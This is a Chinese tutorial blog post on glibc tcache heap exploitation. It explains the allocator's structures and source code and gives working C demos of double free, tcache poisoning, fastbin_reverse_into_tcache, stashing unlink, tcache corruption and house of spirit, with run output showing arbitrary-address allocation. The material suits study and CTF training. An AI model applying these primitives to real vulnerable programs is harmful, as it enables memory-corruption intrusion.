文章是在初次学习tcache_attack时写的,有不准确的地方还望指正,文章中所用的环境基本都是ubuntu18.04
tcache cache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技),目的是提升堆管理的性能。但提升性能的同时舍弃了很多安全检查,也因此有了很多新的利用方式。
主要参考了 glibc 2.27源码,
相关结构体 tcache 引入了两个新的结构体,tcache_entry
和 tcache_perthread_struct
。
这其实和 fastbin 很像,但又不一样。
tcache_entry 1 2 3 4 5 6 typedef struct tcache_entry { struct tcache_entry *next ; } tcache_entry;
tcache_entry
用于链接空闲的 chunk 结构体,其中的 next
指针指向下一个大小相同的 chunk。
需要注意的是这里的 next 指向 chunk 的 user data,而 fastbin 的 fd 指向 chunk 开头的地址。
而且,tcache_entry 会复用空闲 chunk 的 user data 部分。
tcache_perthread_struct 1 2 3 4 5 6 7 8 9 10 11 12 13 14 typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; # define TCACHE_MAX_BINS 64 static __thread tcache_perthread_struct *tcache = NULL ;
每个 thread 都会维护一个 tcache_perthread_struct
,它是整个 tcache 的管理结构,一共有 TCACHE_MAX_BINS
个计数器和 TCACHE_MAX_BINS
项 tcache_entry,其中
tcache_entry
用单向链表 的方式链接了相同大小的处于空闲状态(free 后)的 chunk,这一点上和 fastbin 很像。
counts
记录了 tcache_entry
链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk 。
用图表示大概是:
基本工作方式
第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_perthread_struct
。
free 内存,且 size 小于 small bin size 时
tcache 之前会放到 fastbin 或者 unsorted bin 中
tcache 后:
先放到对应的 tcache 中,直到 tcache 被填满(默认是 7 个 )
tcache 被填满之后,再次 free 的内存和之前一样被放到 fastbin 或者 unsorted bin 中
tcache 中的 chunk 不会合并(不取消 inuse bit )
malloc 内存,且 size 在 tcache 范围内
先从 tcache 取 chunk,直到 tcache 为空
tcache 为空后,从 bin 中找
tcache 为空时,如果 fastbin/smallbin/unsorted bin
中有 size 符合的 chunk**,会先把 fastbin/smallbin/unsorted bin
中的 chunk 放到 tcache 中**,直到填满。之后再从 tcache 中取;因此 chunk 在 bin 中和 tcache 中的顺序会反过来
小结
tcache最多由64个bins链接而成,而每一个bins中最多放7个chunk
64位机中最小size是24字节,每16字节递增一次,而32位机上为12字节,每8字节递增一次
这也就意味着我们最大的chunk必须小于0x410,也就是我们申请的size要小于0x408(64位机上)
源码分析 接下来从2.27源码的角度分析一下 tcache。
__libc_malloc 第一次 malloc 时,会进入到 MAYBE_INIT_TCACHE ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void *__libc_malloc (size_t bytes) { ...... ...... #if USE_TCACHE size_t tbytes; checked_request2size (bytes, tbytes); size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL ) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif ...... ...... }
__tcache_init() 其中 MAYBE_INIT_TCACHE ()
在 tcache 为空(即第一次 malloc)时调用了 tcache_init()
,直接查看 tcache_init()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 tcache_init(void ) { mstate ar_ptr; void *victim = 0 ; const size_t bytes = sizeof (tcache_perthread_struct); if (tcache_shutting_down) return ; arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); if (!victim && ar_ptr != NULL ) { ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL ) __libc_lock_unlock (ar_ptr->mutex); if (victim) { tcache = (tcache_perthread_struct *) victim; memset (tcache, 0 , sizeof (tcache_perthread_struct)); } }
tcache_init()
成功返回后,tcache_perthread_struct
就被成功建立了。
申请内存 接下来将进入申请内存的步骤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL ) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; }
在 tcache->entries
不为空时,将进入 tcache_get()
的流程获取 chunk,否则与 tcache 机制前的流程类似,这里主要分析第一种 tcache_get()
。这里也可以看出 tcache 的优先级很高,比 fastbin 还要高( fastbin 的申请在没进入 tcache 的流程中)。
tcache_get() 看一下 tcache_get()
1 2 3 4 5 6 7 8 9 10 11 12 static __always_inline void *tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; }
tcache_get()
就是获得 chunk 的过程了。可以看出这个过程还是很简单的,从 tcache->entries[tc_idx]
中获得第一个 chunk,tcache->counts
减一,几乎没有任何保护。
__libc_free() 看完申请,再看看有 tcache 时的释放
1 2 3 4 5 6 7 8 9 void __libc_free (void *mem) { ...... ...... MAYBE_INIT_TCACHE (); ar_ptr = arena_for_chunk (p); _int_free (ar_ptr, p, 0 ); }
__libc_free()
没有太多变化,MAYBE_INIT_TCACHE ()
在 tcache 不为空失去了作用。
_int_free() 跟进 _int_free()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static void _int_free (mstate av, mchunkptr p, int have_lock) { ...... ...... #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return ; } } #endif ...... ......
判断 tc_idx
合法,tcache->counts[tc_idx]
在 7 个以内时,就进入 tcache_put()
,传递的两个参数是要释放的 chunk 和该 chunk 对应的 size 在 tcache 中的下标 。
tcache_put() 1 2 3 4 5 6 7 8 9 10 11 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
tcache_puts()
完成了把释放的 chunk 插入到 tcache->entries[tc_idx]
链表头部的操作,也几乎没有任何保护。并且 没有把 p 位置零 。
个人理解 上面的应该是glibc2.27的源码,来自ctf-wiki
首先,来理解一下新增的两个结构体tcache_entry
和tcache_perthread_struct
。
tcache_entry 1 2 3 4 5 6 typedef struct tcache_entry { struct tcache_entry *next ; } tcache_entry;
这里的t
是 thread即线程,cache
是缓存,entry
是条目,所以顾名思义 tcache_entry 就是线程缓存的条目。
条目是什么意思呢?如下:
文献和书籍 :在字典、百科全书、参考书籍等中,“条目”指的是对某一特定词汇、概念或主题的解释或描述。例如,字典中的每一个词汇及其定义都可以称为一个条目。
清单和目录 :在清单或目录中,“条目”指的是其中的各个项目或元素,比如商品清单中的每一项商品都可以被称为一个条目。
数据库 :在数据库管理中,一个“条目”指的是数据库中的一条记录,通常包含多个字段的信息。
总之,“条目”强调的是在某个系统或结构中被标识和记录的一个单位,通常与其他条目一起形成一个完整的集合。
这个tcache_entry就应该是像上面这样的单链表结构,
tcache_perthread_struct 这个的意思就是 每个线程的线程缓存的结构体。
1 2 3 4 5 6 7 8 9 typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; # define TCACHE_MAX_BINS 64 static __thread tcache_perthread_struct *tcache = NULL ;
每个线程都有一个这样的结构体,它包含了每个线程的缓存(因此称为“tcache_perthread_struct”)。
Glibc在2.26中加入了tcache,它对每个线程增加一个bin缓存,这样能显著提高性能,默认情况下,每个线程有64个bins,以16(8)递增,msize从24(12)到1032(516) 。
char counts[TCACHE_MAX_BINS];
counts
数组用于跟踪每个 bins 中已分配块的数量。每个索引对应于一个特定大小的内存块。
tcache_entry *entries[TCACHE_MAX_BINS];
entries
数组用于存储指向 chunk 的指针。
1 # define TCACHE_MAX_BINS 64
TCACHE_MAX_BINS
被定义为 64,表示缓存可以有最多 64 个bins。
1 static __thread tcache_perthread_struct *tcache = NULL ;
__thread
关键字用于声明 tcache
为线程局部存储变量,这意味着每个线程都有自己独立的 tcache
实例。
tcache
初始化为 NULL
,表示还没有为其分配内存或没有初始化。
__tcache_init() 在这个函数中注意到这两行代码const size_t bytes = sizeof (tcache_perthread_struct); victim = _int_malloc (ar_ptr, bytes);
在第一次调用 malloc() 时,系统分配 heap 区域后分配了一个大小为sizeof(tcache_perthread_struct) = 0x241(583)
的chunk,它就是每个线程中用于 tcache 机制的一块内存空间。
tcache_get() 在__libc_malloc()
开头被调用,这个就是用于从 tcache 中获取一个被 free 的 chunk。
tcache_put() 在_int_free()
中被调用,这个用于将一个内存块放回tcache中。
小结 什么情况下会调用 tcache_get
函数数值(什么情况下会到 tcache 中查找 chunk)?
在调用 malloc_hook
之前,int_malloc
之前,如果 tcache
中有合适的 chunk,那么就从 tcache
中取出:
通过 unsorted bin
,若 tcache bin
有对应大小的 chunk,从 tcache
中取出:
通过 unsorted bin
时,如果大小不匹配,chunk
会被放入对应的 bins
,若达到 tcache_unsorted_limit
限制之前已经存入 chunk
就此被取出(默认限制)。
在内存分配的 malloc
函数中,会将内存块移入 tcache
中。
tcache 的功能
首先,申请的内存块符合 fastbin
大小并且在 fastbin
内找到可用的空闲块时,会把 fastbin
链表的其他内存块放入 tcache
中。
其次,申请的内存块符合 smallbin
大小并且在 smallbin
内找到可用的空闲块时,会把 smallbin
链上的其他内存块放入 tcache
中。
第三,针对 unsorted bin
链上有合适的链块时,并不直接返回,而是先放到 tcache
中,继续处理。上面的情况将 chunk
放入 tcache
中,在将合适的 chunk
返回时利用。
在 tcache_get
中,仅仅检查了 tck_idx
,前面说过,可以将 tcache
当作一个类似于 fastbin
的单独链表,只是它的 check
并没有复用,因此我们可以利用这一点来进行 attack
。
tcache 遵循“后进先出”,从头部插入,尾部取出
test 通过下面这段程序再来理解一下tcache,环境:ubuntu 18.04
1 2 3 4 5 6 7 8 #include <stdio.h> #include <stdlib.h> int main () { malloc (0 ); return 0 ; }
gdb调试:
运行到 malloc(0) 直接一直 si 中间的call注意一下 n 跳过。
一直到如下所示 si 进入
1 0x7ffff7a78b66 <malloc_hook_ini+374> call tcache_init.part <tcache_init.part>
1 0x7ffff7a78460 <tcache_init.part+80> call _int_malloc <_int_malloc>
用 n 到下一步,再用 heap 就可以看到系统分配了 heap 和这个 tcache_perthread_struct 的 chunk。
glibc_tcache变化
glibc2.26中引入tcache
glibc2.27中正式应用了tcache
glibc2.29中加入了检查tcache的double_free的机制,tcache_get()中加入了key变量
攻击原理demo tcache_dup 本demo是一个简单的利用tcache的double-free attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "This file demonstrates a simple double-free attack with tcache.\n" ); fprintf (stderr , "Allocating buffer.\n" ); int *a = malloc (8 ); fprintf (stderr , "malloc(8): %p\n" , a); fprintf (stderr , "Freeing twice...\n" ); free (a); free (a); fprintf (stderr , "Now the free list has [ %p, %p ].\n" , a, a); fprintf (stderr , "Next allocated buffers will be same: [ %p, %p ].\n" , malloc (8 ), malloc (8 )); return 0 ; }
总结 我们知道在Fastbin attack的时候我们是不能依次free两次同一块chunk的,但是tcache可以
这是为什么呢?原因也很简单,从tcache_put函数可以看出,它几乎没有设置任何检查,也就意味着我们无需做任何事就可以对同一个chunk进行多次的free,相比fastbin_dup来说,tcache_dup的利用更加的简单了
然后我们再malloc两次就可以得到同一块内存的chunk
对本程序而言,程序先malloc了一个chunk a(size=8)
然后连续Free两次chunk a,此时在free list中就会链入两次chunk a
这个时候我们再申请两次chunk就可以将两次的chunk a全部拿出来了
fastbin_reverse_into_tcache 条件:堆溢出 或 UAF
效果:任意地址分配改写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> const size_t allocsize = 0x40 ; int main () { setbuf(stdout , NULL ); printf ( "\n" "本攻击效果类似于unsorted_bin_attack,但适用于小内存分配(allocsize <= 0x78)。\n" "目标是构造特定条件使得调用malloc(allocsize)时会将一个超大无符号值写入栈。\n\n" ); char * ptrs[14 ]; size_t i; for (i = 0 ; i < 14 ; i++) { ptrs[i] = malloc (allocsize); } printf ( "首先我们需要至少free释放7次来填满tcache。\n" "(超过7次也可以正常工作)\n\n" ); for (i = 0 ; i < 7 ; i++) { free (ptrs[i]); } char * victim = ptrs[7 ]; printf ( "接下来要释放的指针是我们要篡改的chunk:%p\n" "现在或稍后篡改都可以。因为tcache已满,它会被放入fastbin。\n\n" , victim ); free (victim); printf ( "接下来需要再释放1到6个指针。这些也会进入fastbin。\n" "如果我们要覆盖的栈地址值不是零,则需要精确释放6次,否则会导致段错误。\n" "但如果栈上的值是零,则只需要释放1次。\n\n" ); for (i = 8 ; i < 14 ; i++) { free (ptrs[i]); } size_t stack_var[6 ]; memset (stack_var, 0xcd , sizeof (stack_var)); printf ( "我们想要攻击的栈地址:%p\n" "当前值为:%p\n" , &stack_var[2 ], (char *)stack_var[2 ] ); printf ( "现在我们利用缓冲区溢出或use-after-free等漏洞\n" "来覆盖位于%p处的next指针\n\n" , victim ); *(size_t **)victim = &stack_var[0 ]; printf ("下一步通过7次malloc(allocsize)清空tcache\n\n" ); for (i = 0 ; i < 7 ; i++) { ptrs[i] = malloc (allocsize); } printf ("现在打印栈数组内容以展示尚未被修改的状态:\n\n" ); for (i = 0 ; i < 6 ; i++) { printf ("%p: %p\n" , &stack_var[i], (char *)stack_var[i]); } printf ( "\n" "下一次内存分配将触发栈数据覆盖。tcache已空,但fastbin还有内容,\n" "因此下一个分配来自fastbin。同时会用fastbin中的7个chunk重新填充tcache。\n" "这7个chunk会以逆序复制到tcache,因此目标栈地址最终会成为tcache中的第一个chunk。\n" "它包含指向链表中下一个chunk的指针,这就是为什么堆指针会被写入栈。\n" "\n" "先前提到如果栈上值为零,释放少于6次也可以工作,\n" "因为栈上的值会被视为链表next指针,若非有效指针或null会导致崩溃。\n" "\n" "现在栈数组的内容如下:\n\n" ); malloc (allocsize); for (i = 0 ; i < 6 ; i++) { printf ("%p: %p\n" , &stack_var[i], (char *)stack_var[i]); } char *q = malloc (allocsize); printf ( "\n" "最后,再次调用malloc会得到栈地址:%p\n" , q ); assert(q == (char *)&stack_var[2 ]); return 0 ; }
ubuntu20.04 , gcc -o fastbin_reverse_into_tcache fastbin_reverse_into_tcache.c -g
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 ctf@d2ad36c17601:~/pwn$ ./fastbin_reverse_into_tcache 本攻击效果类似于unsorted_bin_attack,但适用于小内存分配(allocsize <= 0x78)。 目标是构造特定条件使得调用malloc(allocsize)时会将一个超大无符号值写入栈。 首先我们需要至少free释放7次来填满tcache。 (超过7次也可以正常工作) 接下来要释放的指针是我们要篡改的chunk:0x56131b5de4d0 现在或稍后篡改都可以。因为tcache已满,它会被放入fastbin。 接下来需要再释放1到6个指针。这些也会进入fastbin。 如果我们要覆盖的栈地址值不是零,则需要精确释放6次,否则会导致段错误。 但如果栈上的值是零,则只需要释放1次。 我们想要攻击的栈地址:0x7ffff3b70d20 当前值为:0xcdcdcdcdcdcdcdcd 现在我们利用缓冲区溢出或use-after-free等漏洞 来覆盖位于0x56131b5de4d0处的next指针 下一步通过7次malloc(allocsize)清空tcache 现在打印栈数组内容以展示尚未被修改的状态: 0x7ffff3b70d10: 0xcdcdcdcdcdcdcdcd 0x7ffff3b70d18: 0xcdcdcdcdcdcdcdcd 0x7ffff3b70d20: 0xcdcdcdcdcdcdcdcd 0x7ffff3b70d28: 0xcdcdcdcdcdcdcdcd 0x7ffff3b70d30: 0xcdcdcdcdcdcdcdcd 0x7ffff3b70d38: 0xcdcdcdcdcdcdcdcd 下一次内存分配将触发栈数据覆盖。tcache已空,但fastbin还有内容, 因此下一个分配来自fastbin。同时会用fastbin中的7个chunk重新填充tcache。 这7个chunk会以逆序复制到tcache,因此目标栈地址最终会成为tcache中的第一个chunk。 它包含指向链表中下一个chunk的指针,这就是为什么堆指针会被写入栈。 先前提到如果栈上值为零,释放少于6次也可以工作, 因为栈上的值会被视为链表next指针,若非有效指针或null会导致崩溃。 现在栈数组的内容如下: 0x7ffff3b70d10: 0xcdcdcdcdcdcdcdcd 0x7ffff3b70d18: 0xcdcdcdcdcdcdcdcd 0x7ffff3b70d20: 0x56131b5de4d0 0x7ffff3b70d28: 0x56131b5de010 0x7ffff3b70d30: 0xcdcdcdcdcdcdcdcd 0x7ffff3b70d38: 0xcdcdcdcdcdcdcdcd 最后,再次调用malloc会得到栈地址:0x7ffff3b70d20
总结 我们知道当同一个size的chunk在tcachebins中满7个时,就会填入fasbins,而当tcachebins中的chunk被申请完了,系统会将fastbins中同样size逆序放入到tcachebins
首先,创建了14个chunk填满了tcache_bins,fastbins
然后,通过 UAF 或 堆溢出 修改fastbins中第一个放入的chunk(victim)的fd指针指向栈地址(实战中可以为任意可写地址,比如got表可写的__free_hook-0x10)
最后,申请出7个tcachebins,再申请一个即可触发 fastbin_reverse_into_tcache,然后第一个放入fastbins的chunk(victim)就会出现在tcachebins的头部,申请出即可
tcache_stashing_unlink_attack 攻击成效:向任意地址写堆地址或分配任意地址
攻击前提:
能够控制 Small Bin chunk的bk指针
程序可以越过Tache取chunk。(calloc可以做到)
程序可以分配两种不同大小且属于Unsorted Bin的chunk
参考链接:https://blog.csdn.net/qq_41252520/article/details/126198171
how2heap ;2.31
主要利用的是small bin链表中摘堆块后重新排列进tcache的原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #include <stdio.h> #include <stdlib.h> #include <assert.h> int main () { unsigned long stack_var[0x10 ] = {0 }; unsigned long *chunk_lis[0x10 ] = {0 }; unsigned long *target; setbuf(stdout , NULL ); printf ("本文件演示针对tcache的stashing unlink攻击。\n\n" ); printf ("该PoC已在glibc-2.27、glibc-2.29和glibc-2.31测试通过。\n\n" ); printf ("当你能覆盖victim->bk指针时可以使用此技术。此外,需要至少使用calloc分配一次内存。最后,我们需要一个可写地址来绕过glibc的检查。\n\n" ); printf ("glibc将smallbin放入tcache的机制为我们提供了攻击机会。\n\n" ); printf ("此技术允许我们向任意地址写入libc地址,并在需要处创建伪造chunk。本例将在栈上创建伪造chunk。\n\n" ); printf ("stack_var模拟我们想要分配到的伪造chunk。\n\n" ); printf ("首先向fake_chunk->bk写入可写地址以绕过glibc中的bck->fd = bin检查。这里选择stack_var[2]的地址作为伪造bk。稍后可以看到*(fake_chunk->bk + 0x10)即stack_var[4]将在攻击后变为libc地址。\n\n" ); stack_var[3 ] = (unsigned long )(&stack_var[2 ]); printf ("可以看到fake_chunk->bk的值为:%p\n\n" ,(void *)stack_var[3 ]); printf ("同时查看stack_var[4]的初始值:%p\n\n" ,(void *)stack_var[4 ]); printf ("现在分配9个malloc chunk。\n\n" ); for (int i = 0 ;i < 9 ;i++){ chunk_lis[i] = (unsigned long *)malloc (0x90 ); } printf ("随后释放其中7个chunk到tcache。注意没有连续释放chunk2到chunk9,因为相邻的unsorted bin会在后续malloc时合并。\n\n" ); for (int i = 3 ;i < 9 ;i++){ free (chunk_lis[i]); } printf ("可以看到,chunk1及[chunk3,chunk8]被放入tcache,而chunk0和chunk2将进入unsorted bin。\n\n" ); free (chunk_lis[1 ]); free (chunk_lis[0 ]); free (chunk_lis[2 ]); printf ("现在分配大于0x90的chunk使chunk0和chunk2进入small bin。\n\n" ); malloc (0xa0 ); printf ("接着分配两个chunk腾出空间,现在有5个tcache bin和2个small bin。\n\n" ); malloc (0x90 ); malloc (0x90 ); printf ("现在模拟可以覆盖victim->bk指针指向伪造chunk地址的漏洞:%p。\n\n" ,(void *)stack_var); chunk_lis[2 ][1 ] = (unsigned long )stack_var; printf ("最后用calloc分配0x90的chunk触发攻击。之前释放的small bin将被返回,另一个chunk和伪造chunk被链接到tcache。\n\n" ); calloc (1 ,0x90 ); printf ("现在伪造chunk已被放入tcache bin[0xa0]链表。其fd指针指向下一个空闲chunk:%p,且bck->fd已被修改为libc地址:%p\n\n" ,(void *)stack_var[2 ],(void *)stack_var[4 ]); target = malloc (0x90 ); printf ("可以看到,下一次malloc(0x90)将返回我们伪造的chunk区域:%p\n" ,(void *)target); assert(target == &stack_var[2 ]); return 0 ; }
总结
申请 9 个 chunk,然后先释放chunk3 - chunk8 和chunk1,他们会被放入 tcache bin中。然后再释放 chunk0 和 chunk2,会被放入 unsortedbin中(连着释放7个会被合并);
随后申请一个 大于 上述 chunk size (0x90)的chunk,那么此时所有 的 空闲chunk都不合适,并且 unsortedbin 中的chunk0 和 chunk2 会被放入 small bin中;
申请两个 tcache,此时 tcache 中的 剩余 chunk数量 为 5 个;
修改 chunk 2 的 bk指针 指向我们伪造的 内存的地址 chunk,该内存地址的chunk 的 bk 指针要为一个 可写入的地址 ;
随后调用 calloc() 申请 与tcache 同大小的 chunk,由于 calloc() 函数会跳过 tcache,所以其会直接从 small bin中 取 chunk0;
此时,同上述的 fastbin_reverse_into_tcache 类似的结果,small bin 中剩余的 chunk2-> fake chunk,会从后向前 加入 tcache中,而且由于此时tcache 仅剩2个空余,所以只会遍历到 fake chunk就会结束。
经过上述操作后,此时 tcache链中 第一个 chunk 是 fake chunk,我们取出即可。
tcache_corruption 这段代码演示了控制tcache_perthread_struct的chunk,修改next指针(目前的tcache并没有检查next指向的chunk的size是否合法,所以直接伪造next指针为想要修改的地址就好了)实现任意地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <stdio.h> #include <stdlib.h> #include <string.h> #define TCACHE_MAX_BINS 64 typedef struct tcache_entry { struct tcache_entry *next ; } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; char global_buf[0x100 ] = "hello world" ;int main () { char *ptr, *controlled_buf; long long temp; tcache_perthread_struct *fake; printf ("global_buf: %s\n" , global_buf); ptr = malloc (0x68 ); temp = (long long )ptr; printf ("temp: %llx\n" , temp); temp = temp & (~0xfff ); temp += 0x10 ; printf ("temp: %llx\n" , temp); fake = (tcache_perthread_struct *)temp; fake->entries[5 ] = (tcache_entry *)global_buf; controlled_buf = malloc (0x68 ); memcpy (controlled_buf, "Tcache Corruption" , 18 ); printf ("global_buf: %s\n" , global_buf); return 0 ; }
gdb调试:
b 25
,查看 ptr
b 30
,查看temp,它是 tcache_perthread_struct 的 chunk_mem_ptr
b 33
,在这行代码处查看 global_buf 的内容,此时为 hello world
b 37
,再次查看 global_buf 的内容
运行结果:
1 2 3 4 5 ctf@1a3f037ee8c1:~/pwn$ ./demo global_buf: hello world temp: 555555602670 temp: 555555602010 global_buf: Tcache Corruption
总结 tcache_poisoning 来源:how2heap
此demo的效果就是返回一个指向任意地址的指针,与fastbin corruption攻击极其相似(本例返回的地址是一个栈地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <stdio.h> #include <stdlib.h> #include <stdint.h> int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); size_t stack_var; printf ("定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.\n" , (char *)&stack_var); printf ("接下来申请两个 chunk\n" ); intptr_t *a = malloc (128 ); printf ("chunk a 在: %p\n" , a); intptr_t *b = malloc (128 ); printf ("chunk b 在: %p\n" , b); printf ("free 掉这两个 chunk\n" ); free (a); free (b); printf ("现在 tcache 那个链表是这样的 [ %p -> %p ].\n" , b, a); printf ("我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p" , b, sizeof (intptr_t ), &stack_var); b[0 ] = (intptr_t )&stack_var; printf ("现在 tcache 链表是这样的 [ %p -> %p ].\n" , b, &stack_var); printf ("然后一次 malloc : %p\n" , malloc (128 )); printf ("现在 tcache 链表是这样的 [ %p ].\n" , &stack_var); intptr_t *c = malloc (128 ); printf ("第二次 malloc: %p\n" , c); printf ("ojbk\n" ); return 0 ; }
b 17
,此时申请了两个chunk,一个应该是为了防止合并到Top_chunk,另一个是要攻击的chunk,也就是b。
b 22
,此时两个chunk已经进入到tcache中。
b 27
,这里修改了b[0]的位置,也就是chunk b的next指针,此时bins中应为:b -> &stack_var
b 30
,这里申请了一个chunk,此时bins中应为:&stack_var
b 33
,这里很明显就是申请出了&stack_var作为chunk
原因:在glibc 2.27中没有像fastbin中那样检查free_chunk的size域
总结: 对于tcache poisoning来说,我们的利用极其简单
只需要free掉一个chunk放入tcache中,然后直接更改其fd指针,我们就可以任意地址malloc了
程序首先在栈上声明了一个变量,之后malloc了chunk a(size=128),此时free掉chunk a,a被链入到free list中
然后程序覆写了a的fd指针,将其指向了我们的栈指针
现在栈指针也被链入了我们的free list中
此时我们再malloc,因为不会检查size是否合法,就可以直接将我们的栈指针取出来了(先进后出
tcache_house_of_spirit tcache_house_of_spirit就是通过free一个Fake chunk来让malloc返回一个指向几乎任意地址的指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> int main () { malloc (1 ); unsigned long long *a; unsigned long long fake_chunks[10 ]; fprintf (stderr , "fake_chunks[1] 在 %p\n" , &fake_chunks[1 ]); fprintf (stderr , "fake_chunks[1] 改成 0x40 \n" ); fake_chunks[1 ] = 0x40 ; fprintf (stderr , "把 fake_chunks[2] 的地址赋给 a, %p.\n" , &fake_chunks[2 ]); a = &fake_chunks[2 ]; fprintf (stderr , "free 掉 a\n" ); free (a); fprintf (stderr , "再去 malloc(0x30),在可以看到申请来的结果在: %p\n" , malloc (0x30 )); fprintf (stderr , "ojbk\n" ); }
要点:
观察fake_chunks[]数组变化
free(a),a = &fake_chunks[2];
原因:tcache中存放的是chunk_mem_ptr,fake_chunks[0]是prev_size域,fake_chunk[1]是size域
在free(a)后的bins:
1 2 3 4 pwndbg> bins tcachebins 0x40 [ 1]: 0x7fffffffe390 ◂— 0x0 fastbins
总结 本例就是通过free一个fake chunk来让我们malloc任意地址
程序首先让堆初始化了,然后申请了变量a和fake_chunks
之后程序在fake_chunks中伪造了一个size为0x40的fake_chunk,把a指向fake_chunk的域(也就是Fd指针
现在free a,我们的fake_chunk就被放到了free list中
此时再malloc就可以返回我们的fake chunk了
house_of_spirit 在看完tcache的HOS之后,我们回来看看之前的HOS是什么样的
我们的house of spirit是通过free一个伪造的fastbin chunk来任意地址malloc
让我们来看看和tcache有什么区别吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "这个例子演示了 house of spirit 攻击\n" ); fprintf (stderr , "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n" ); malloc (1 ); fprintf (stderr , "覆盖一个指向 fastbin 的指针\n" ); unsigned long long *a, *b; unsigned long long fake_chunks[10 ] __attribute__ ((aligned (16 ))); fprintf (stderr , "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n" , sizeof (fake_chunks), &fake_chunks[1 ], &fake_chunks[9 ]); fprintf (stderr , "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n" ); fake_chunks[1 ] = 0x40 ; fprintf (stderr , "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n" ); fake_chunks[9 ] = 0x1234 ; fake_chunks[2 ] = 0x4141414141414141L L; fake_chunks[10 ] = 0x4141414141414141L L; fprintf (stderr , "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n" , &fake_chunks[2 ]); a = &fake_chunks[2 ]; fprintf (stderr , "free!\n" ); free (a); fprintf (stderr , "现在 malloc 的时候将会把 %p 给返回回来\n" , &fake_chunks[2 ]); b = malloc (0x30 ); fprintf (stderr , "malloc(0x30): %p\n" , b); b[0 ] = 0x4242424242424242L L; fprintf (stderr , "ok!\n" ); return 0 ; }
看完源代码可以发现,我们正常的hos是需要伪造两个chunk的,而tcache则不需要伪造下一个chunk,但是虽然本例中需要伪造两个chunk,但是我们所伪造的第二个chunk是可以不用为fastbin大小的chunk的
